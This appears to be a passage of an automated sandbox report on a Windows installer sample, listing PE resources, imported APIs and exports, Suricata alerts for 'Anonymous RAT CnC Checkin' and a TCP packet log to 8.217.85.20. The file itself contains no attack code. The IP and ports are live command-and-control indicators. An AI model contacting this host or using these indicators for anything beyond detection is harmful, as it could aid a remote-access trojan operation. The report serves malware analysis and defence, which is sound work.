RT_ICON	0x2ea404	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.11891828058573453
RT_ICON	0x2ee62c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.1578838174273859
RT_ICON	0x2f0bd4	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.010333018422295701
RT_ICON	0x2f4dfc	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.026763485477178422
RT_ICON	0x2f73a4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.02626641651031895
RT_ICON	0x2f844c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.15806754221388367
RT_ICON	0x2f94f4	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.27172131147540984
RT_ICON	0x2f9e7c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.350177304964539
RT_ICON	0x2fa2e4	0x217	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.0205607476635514
RT_ICON	0x2fa4fc	0x2ff	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced	English	United States	1.014341590612777
RT_ICON	0x2fa7fc	0x35c	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.0127906976744185
RT_ICON	0x2fab58	0x4ca	PNG image data, 28 x 28, 8-bit/color RGBA, non-interlaced	English	United States	1.0089722675367048
RT_ICON	0x2fb024	0x3fa	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.0108055009823183
RT_ICON	0x2fb420	0x577	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	United States	1.0078627591136526
RT_ICON	0x2fb998	0x5f8	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced	English	United States	1.007198952879581
RT_ICON	0x2fbf90	0x99c	PNG image data, 56 x 56, 8-bit/color RGBA, non-interlaced	English	United States	1.004471544715447
RT_ICON	0x2fc92c	0xaf8	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.003917378917379
RT_ICON	0x2fd424	0x75e	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0058324496288442
RT_ICON	0x2fdb84	0xaf3	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.0039243667499107
RT_ICON	0x2fe678	0xb2d	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0038448095071653
RT_ICON	0x2ff1a8	0xd9f	PNG image data, 84 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.003154574132492
RT_ICON	0x2fff48	0xdc6	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced	English	United States	1.0031196823596142
RT_ICON	0x300d10	0x12ca	PNG image data, 112 x 112, 8-bit/color RGBA, non-interlaced	English	United States	1.0022869022869023
RT_ICON	0x301fdc	0xd03	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	1.0033023116181328
RT_ICON	0x302ce0	0x152c	PNG image data, 144 x 144, 8-bit/color RGBA, non-interlaced	English	United States	1.002029520295203
RT_ICON	0x30420c	0x16b5	PNG image data, 160 x 160, 8-bit/color RGBA, non-interlaced	English	United States	1.0006881128505074
RT_ICON	0x3058c4	0x1d96	PNG image data, 168 x 168, 8-bit/color RGBA, non-interlaced	English	United States	1.0
RT_ICON	0x30765c	0x1a2a	PNG image data, 192 x 192, 8-bit/color RGBA, non-interlaced	English	United States	0.9905942072260376
RT_ICON	0x309088	0x2a22	PNG image data, 216 x 216, 8-bit/color RGBA, non-interlaced	English	United States	0.998887446690154
RT_ICON	0x30baac	0x2c53	PNG image data, 240 x 240, 8-bit/color RGBA, non-interlaced	English	United States	0.9956816779765577
RT_ICON	0x30e700	0x191c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.972775357809583
RT_STRING	0x31001c	0x210	data			0.3125
RT_STRING	0x31022c	0x440	data			0.37683823529411764
RT_STRING	0x31066c	0x2b4	data			0.45809248554913296
RT_STRING	0x310920	0x214	data			0.4605263157894737
RT_STRING	0x310b34	0x3e4	data			0.3885542168674699
RT_STRING	0x310f18	0x3a0	data			0.4191810344827586
RT_STRING	0x3112b8	0x1ec	data			0.5609756097560976
RT_STRING	0x3114a4	0xcc	data			0.6666666666666666
RT_STRING	0x311570	0x294	data			0.4681818181818182
RT_STRING	0x311804	0x3e8	data			0.372
RT_STRING	0x311bec	0x488	data			0.41293103448275864
RT_STRING	0x312074	0x418	data			0.28435114503816794
RT_STRING	0x31248c	0x370	data			0.4147727272727273
RT_STRING	0x3127fc	0x39c	data			0.41233766233766234
RT_STRING	0x312b98	0x4a4	data			0.382996632996633
RT_STRING	0x31303c	0x384	data			0.37333333333333335
RT_STRING	0x3133c0	0x454	data			0.3935018050541516
RT_STRING	0x313814	0x210	data			0.39015151515151514
RT_STRING	0x313a24	0xbc	data			0.6542553191489362
RT_STRING	0x313ae0	0x100	data			0.62890625
RT_STRING	0x313be0	0x338	data			0.4223300970873786
RT_STRING	0x313f18	0x3f0	data			0.34226190476190477
RT_STRING	0x314308	0x314	data			0.38578680203045684
RT_STRING	0x31461c	0x2f8	data			0.38026315789473686
RT_RCDATA	0x314914	0x10	data			1.5
RT_RCDATA	0x314924	0x1800	PE32+ executable (console) x86-64, for MS Windows	English	United States	0.3924153645833333
RT_RCDATA	0x316124	0xb70	data			0.5358606557377049
RT_RCDATA	0x316c94	0x147	Delphi compiled form 'TMainForm'			0.746177370030581
RT_RCDATA	0x316ddc	0x480	Delphi compiled form 'TNewDiskForm'			0.5052083333333334
RT_RCDATA	0x31725c	0x400	Delphi compiled form 'TSelectFolderForm'			0.5087890625
RT_RCDATA	0x31765c	0x4b5	Delphi compiled form 'TSelectLanguageForm'			0.5004149377593361
RT_RCDATA	0x317b14	0x7e3	Delphi compiled form 'TUninstallProgressForm'			0.40713224368499257
RT_RCDATA	0x3182f8	0x55c	Delphi compiled form 'TUninstSharedFileForm'			0.41690962099125367
RT_RCDATA	0x318854	0x2ac9	Delphi compiled form 'TWizardForm'			0.19811923673879303
RT_GROUP_CURSOR	0x31b320	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x31b334	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x31b348	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x31b35c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x31b370	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x31b384	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x31b398	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x31b3ac	0x148	data	English	United States	0.6524390243902439
RT_GROUP_ICON	0x31b4f4	0x30	data	English	United States	0.9375
RT_GROUP_ICON	0x31b524	0x22	data	English	United States	1.0588235294117647
RT_GROUP_ICON	0x31b548	0x30	data	English	United States	0.9375
RT_GROUP_ICON	0x31b578	0x30	data	English	United States	0.9583333333333334
RT_VERSION	0x31b5a8	0x514	data	English	United States	0.3007692307692308
RT_MANIFEST	0x31babc	0x244	XML 1.0 document, ASCII text, with CRLF line terminators	Chinese	China	0.453448275862069

Imports

DLL	Import
mpr.dll	WNetEnumResourceW, WNetGetUniversalNameW, WNetGetConnectionW, WNetCloseEnum, WNetOpenEnumW
comdlg32.dll	GetSaveFileNameW, GetOpenFileNameW
comctl32.dll	FlatSB_SetScrollInfo, InitCommonControls, ImageList_DragMove, ImageList_Destroy, _TrackMouseEvent, ImageList_DragShowNolock, ImageList_Add, FlatSB_SetScrollProp, ImageList_GetDragImage, ImageList_Create, ImageList_EndDrag, ImageList_DrawEx, ImageList_SetImageCount, FlatSB_GetScrollPos, FlatSB_SetScrollPos, InitializeFlatSB, FlatSB_GetScrollInfo, ImageList_Write, ImageList_SetBkColor, ImageList_GetBkColor, ImageList_BeginDrag, ImageList_GetIcon, ImageList_GetImageCount, ImageList_DragEnter, ImageList_GetIconSize, ImageList_SetIconSize, ImageList_Read, ImageList_DragLeave, ImageList_Draw, ImageList_Remove
shell32.dll	SHBrowseForFolderW, SHGetMalloc, SHGetFileInfoW, SHChangeNotify, Shell_NotifyIconW, ShellExecuteW, SHGetPathFromIDListW, ShellExecuteExW
user32.dll	CopyImage, CreateWindowExW, GetMenuItemInfoW, SetMenuItemInfoW, DefFrameProcW, GetDCEx, GetMessageW, PeekMessageW, MonitorFromWindow, GetDlgCtrlID, ScrollWindowEx, SetTimer, WindowFromPoint, BeginPaint, RegisterClipboardFormatW, FrameRect, MapVirtualKeyW, OffsetRect, IsWindowUnicode, RegisterWindowMessageW, FillRect, GetMenuStringW, DispatchMessageW, SendMessageA, DefMDIChildProcW, EnumWindows, GetClassInfoW, GetSystemMenu, WaitForInputIdle, ShowOwnedPopups, GetScrollRange, GetScrollPos, SetScrollPos, GetActiveWindow, SetActiveWindow, DrawEdge, InflateRect, GetKeyboardLayoutList, OemToCharBuffA, LoadBitmapW, DrawFocusRect, EnumChildWindows, GetScrollBarInfo, SendNotifyMessageW, ReleaseCapture, UnhookWindowsHookEx, LoadCursorW, GetCapture, SetCapture, CreatePopupMenu, ScrollWindow, ShowCaret, GetMenuItemID, GetLastActivePopup, CharLowerBuffW, GetSystemMetrics, SetWindowLongW, PostMessageW, DrawMenuBar, SetParent, IsZoomed, CharUpperBuffW, GetClientRect, IsChild, ClientToScreen, SetWindowPlacement, IsIconic, CallNextHookEx, GetMonitorInfoW, ShowWindow, CheckMenuItem, CharUpperW, DefWindowProcW, GetForegroundWindow, SetForegroundWindow, GetWindowTextW, EnableWindow, DestroyWindow, IsDialogMessageW, EndMenu, RegisterClassW, CharNextW, GetWindowThreadProcessId, RedrawWindow, GetDC, GetFocus, SetFocus, EndPaint, ExitWindowsEx, ReleaseDC, MsgWaitForMultipleObjectsEx, LoadKeyboardLayoutW, GetClassLongW, ActivateKeyboardLayout, GetParent, CharToOemBuffA, DrawTextW, SetScrollRange, InsertMenuItemW, PeekMessageA, GetPropW, SetClassLongW, MessageBoxW, MessageBeep, SetPropW, SetRectEmpty, UpdateWindow, RemovePropW, GetSubMenu, MsgWaitForMultipleObjects, DestroyMenu, DestroyIcon, SetWindowsHookExW, IsWindowVisible, DispatchMessageA, UnregisterClassW, GetTopWindow, SendMessageW, AdjustWindowRectEx, DrawIcon, IsWindow, EnumThreadWindows, InvalidateRect, GetKeyboardState, DrawFrameControl, ScreenToClient, SendMessageTimeoutW, BringWindowToTop, SetCursor, CreateIcon, CreateMenu, LoadStringW, CharLowerW, SetWindowPos, SetWindowRgn, GetMenuItemCount, RemoveMenu, AppendMenuW, GetSysColorBrush, GetKeyboardLayoutNameW, GetWindowDC, TranslateMessage, DrawTextExW, MapWindowPoints, EnumDisplayMonitors, CallWindowProcW, DestroyCursor, ReplyMessage, GetScrollInfo, SetWindowTextW, GetMessageExtraInfo, EnableScrollBar, GetSysColor, TrackPopupMenu, DrawIconEx, PostQuitMessage, GetClassNameW, ShowScrollBar, EnableMenuItem, GetIconInfo, GetMessagePos, LoadImageW, SetScrollInfo, GetKeyNameTextW, GetDesktopWindow, GetCursorPos, SetCursorPos, HideCaret, GetMenu, GetMenuState, SetMenu, SetRect, GetKeyState, FindWindowExW, MonitorFromPoint, SystemParametersInfoW, LoadIconW, GetCursor, GetWindow, GetWindowLongW, GetWindowRect, InsertMenuW, KillTimer, WaitMessage, IsWindowEnabled, IsDialogMessageA, TranslateMDISysAccel, GetWindowPlacement, FindWindowW, DeleteMenu, GetKeyboardLayout
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
oleaut32.dll	SafeArrayPutElement, LoadTypeLib, GetErrorInfo, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, SafeArrayCreate, SafeArrayGetElement, GetActiveObject, SysAllocStringLen, SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, VariantCopy, RegisterTypeLib, VariantChangeType, VariantCopyInd
advapi32.dll	RegSetValueExW, ConvertStringSecurityDescriptorToSecurityDescriptorW, OpenThreadToken, GetUserNameW, RegQueryInfoKeyW, EqualSid, GetTokenInformation, RegCreateKeyExW, SetSecurityDescriptorDacl, RegEnumKeyExW, AdjustTokenPrivileges, RegDeleteKeyW, LookupPrivilegeValueW, RegOpenKeyExW, OpenProcessToken, FreeSid, AllocateAndInitializeSid, RegDeleteValueW, RegFlushKey, RegEnumValueW, RegQueryValueExW, ConvertSidToStringSidW, RegCloseKey, InitializeSecurityDescriptor
netapi32.dll	NetWkstaGetInfo, NetApiBufferFree
msvcrt.dll	memcpy
winhttp.dll	WinHttpGetIEProxyConfigForCurrentUser, WinHttpSetTimeouts, WinHttpSetStatusCallback, WinHttpConnect, WinHttpReceiveResponse, WinHttpQueryAuthSchemes, WinHttpGetProxyForUrl, WinHttpReadData, WinHttpCloseHandle, WinHttpQueryHeaders, WinHttpOpenRequest, WinHttpAddRequestHeaders, WinHttpOpen, WinHttpWriteData, WinHttpSetCredentials, WinHttpQueryDataAvailable, WinHttpSetOption, WinHttpSendRequest, WinHttpQueryOption
kernel32.dll	SetFileAttributesW, SetFileTime, GetACP, GetExitCodeProcess, IsBadWritePtr, CloseHandle, LocalFree, GetCurrentProcessId, SizeofResource, VirtualProtect, TerminateThread, QueryPerformanceFrequency, IsDebuggerPresent, FindNextFileW, GetFullPathNameW, VirtualFree, HeapAlloc, ExitProcess, WriteProfileStringW, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetTimeZoneInformation, FileTimeToLocalFileTime, GetModuleHandleW, FreeLibrary, HeapDestroy, CompareFileTime, ReadFile, CreateProcessW, TransactNamedPipe, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, OpenMutexW, CreateThread, CompareStringW, CopyFileW, CreateMutexW, LoadLibraryA, ResetEvent, MulDiv, FreeResource, GetDriveTypeW, GetVersion, RaiseException, MoveFileW, GlobalAddAtomW, GetSystemTimeAsFileTime, FormatMessageW, OpenProcess, SwitchToThread, GetExitCodeThread, OutputDebugStringW, GetCurrentThread, GetLogicalDrives, LocalFileTimeToFileTime, SetNamedPipeHandleState, LoadLibraryExW, TerminateProcess, LockResource, FileTimeToSystemTime, GetShortPathNameW, GetCurrentThreadId, UnhandledExceptionFilter, MoveFileExW, GlobalFindAtomW, VirtualQuery, GlobalFree, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, ReleaseMutex, FlushFileBuffers, LoadResource, SuspendThread, GetTickCount, WritePrivateProfileStringW, GetFileSize, GlobalDeleteAtom, GetStartupInfoW, GetFileAttributesW, GetCurrentDirectoryW, SetCurrentDirectoryW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, GetCurrentProcess, SetThreadPriority, VirtualAlloc, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, DeviceIoControl, LCMapStringW, GetDiskFreeSpaceW, VerSetConditionMask, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, lstrcmpW, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetEnvironmentVariableW, GetLocalTime, WaitForSingleObject, WriteFile, CreateNamedPipeW, ExitThread, DeleteCriticalSection, GetDateFormatW, TlsGetValue, SetErrorMode, GetComputerNameW, IsValidLocale, TlsSetValue, CreateDirectoryW, GetOverlappedResult, GetSystemDefaultUILanguage, EnumCalendarInfoW, GetProfileStringW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, IsDBCSLeadByte, CreateEventW, GetPrivateProfileStringW, WaitForMultipleObjectsEx, GetThreadLocale, SetThreadLocale
ole32.dll	StgCreateDocfileOnILockBytes, CoCreateInstance, CLSIDFromString, CoUninitialize, IsEqualGUID, OleInitialize, CoFreeUnusedLibraries, CreateILockBytesOnHGlobal, CLSIDFromProgID, OleUninitialize, CoDisconnectObject, CoInitialize, CoTaskMemFree, CoTaskMemAlloc, StringFromCLSID
gdi32.dll	Arc, Pie, SetBkMode, SelectPalette, CreateCompatibleBitmap, ExcludeClipRect, RectVisible, SetWindowOrgEx, MaskBlt, AngleArc, Chord, SetTextColor, StretchBlt, SetDIBits, SetViewportOrgEx, CreateRectRgn, RealizePalette, SetDIBColorTable, GetDIBColorTable, RoundRect, RestoreDC, SetRectRgn, GetTextMetricsW, RemoveFontResourceW, GetWindowOrgEx, CreatePalette, CreateBrushIndirect, PatBlt, LineDDA, PolyBezierTo, GetStockObject, CreateSolidBrush, Polygon, Rectangle, MoveToEx, DeleteDC, SaveDC, BitBlt, Ellipse, FrameRgn, GetDeviceCaps, GetBitmapBits, GetTextExtentPoint32W, GetClipBox, Polyline, IntersectClipRect, GetSystemPaletteEntries, CreateBitmap, AddFontResourceW, CreateDIBitmap, GetStretchBltMode, CreateDIBSection, CreatePenIndirect, SetStretchBltMode, GetDIBits, CreateFontIndirectW, PolyBezier, LineTo, GetRgnBox, EnumFontsW, CreateHalftonePalette, DeleteObject, SelectObject, ExtFloodFill, UnrealizeObject, SetBkColor, CreateCompatibleDC, GetObjectW, GetBrushOrgEx, GetCurrentPositionEx, SetROP2, GetTextExtentPointW, ExtTextOutW, SetBrushOrgEx, GetPixel, ArcTo, GdiFlush, SetPixel, EnumFontFamiliesExW, GetPaletteEntries

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4b5e78
__dbk_fcall_wrapper	2	0x410a7c
dbkFCallWrapperAddr	1	0x6d4640

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Chinese	China

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T07:52:36.994962+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.9	49931	8.217.85.20	9091	TCP
2025-01-10T07:54:11.167711+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.9	49984	8.217.85.20	9092	TCP
2025-01-10T07:55:51.459265+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.9	49986	8.217.85.20	9092	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 07:52:01.472219944 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:01.477122068 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:01.477185965 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.311553955 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.311574936 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.311597109 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.311635017 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.311748981 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.311757088 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.311809063 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.311939955 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.311947107 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.311959028 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.311971903 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.311979055 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.312001944 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.312014103 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.316494942 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.316514969 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.316524982 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.316673994 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.547900915 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.547949076 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.547996998 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.548059940 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.548073053 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.548093081 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.548171997 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.548418045 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.548439026 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.548573017 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.548628092 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.548639059 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.548680067 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.549041986 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.549047947 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.549060106 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.549096107 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.549176931 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.549182892 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.549232006 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.549715042 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.549721956 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.549735069 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.549767017 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.549848080 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.549896002 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.549907923 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.549943924 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.549956083 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.550693989 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.550700903 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.550712109 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.550753117 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.552854061 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.553759098 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.784579039 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.784621954 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.784629107 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.784672022 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.784694910 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.784723043 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.784804106 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.784811020 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.784861088 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.784936905 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.784944057 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.784955978 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.785011053 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.785157919 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.785264969 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.785270929 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.785290956 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.785300970 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.785382986 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.785389900 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.785397053 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.785459042 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.785554886 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.785612106 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.785808086 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.785814047 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.785821915 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.785854101 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.785985947 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.785993099 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.786005020 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.786017895 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.786047935 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.786396980 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.786402941 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.786415100 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.786458969 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.786535025 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.786595106 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.786602020 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.786618948 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.786643982 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.786667109 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.786818981 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.786828041 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.786834002 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.786876917 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.787228107 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.787277937 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.787357092 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.787364006 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.787403107 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.787419081 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:02.787471056 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:02.787610054 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:03.021559000 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.021585941 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.021600008 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.021652937 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.021652937 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:03.021665096 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.021693945 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.021734953 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:03.021825075 CET	49715	8853	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:03.021912098 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.021923065 CET	8853	49715	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:03.021945000 CET	8853	49715	8.217.85.20	192.168.2.9
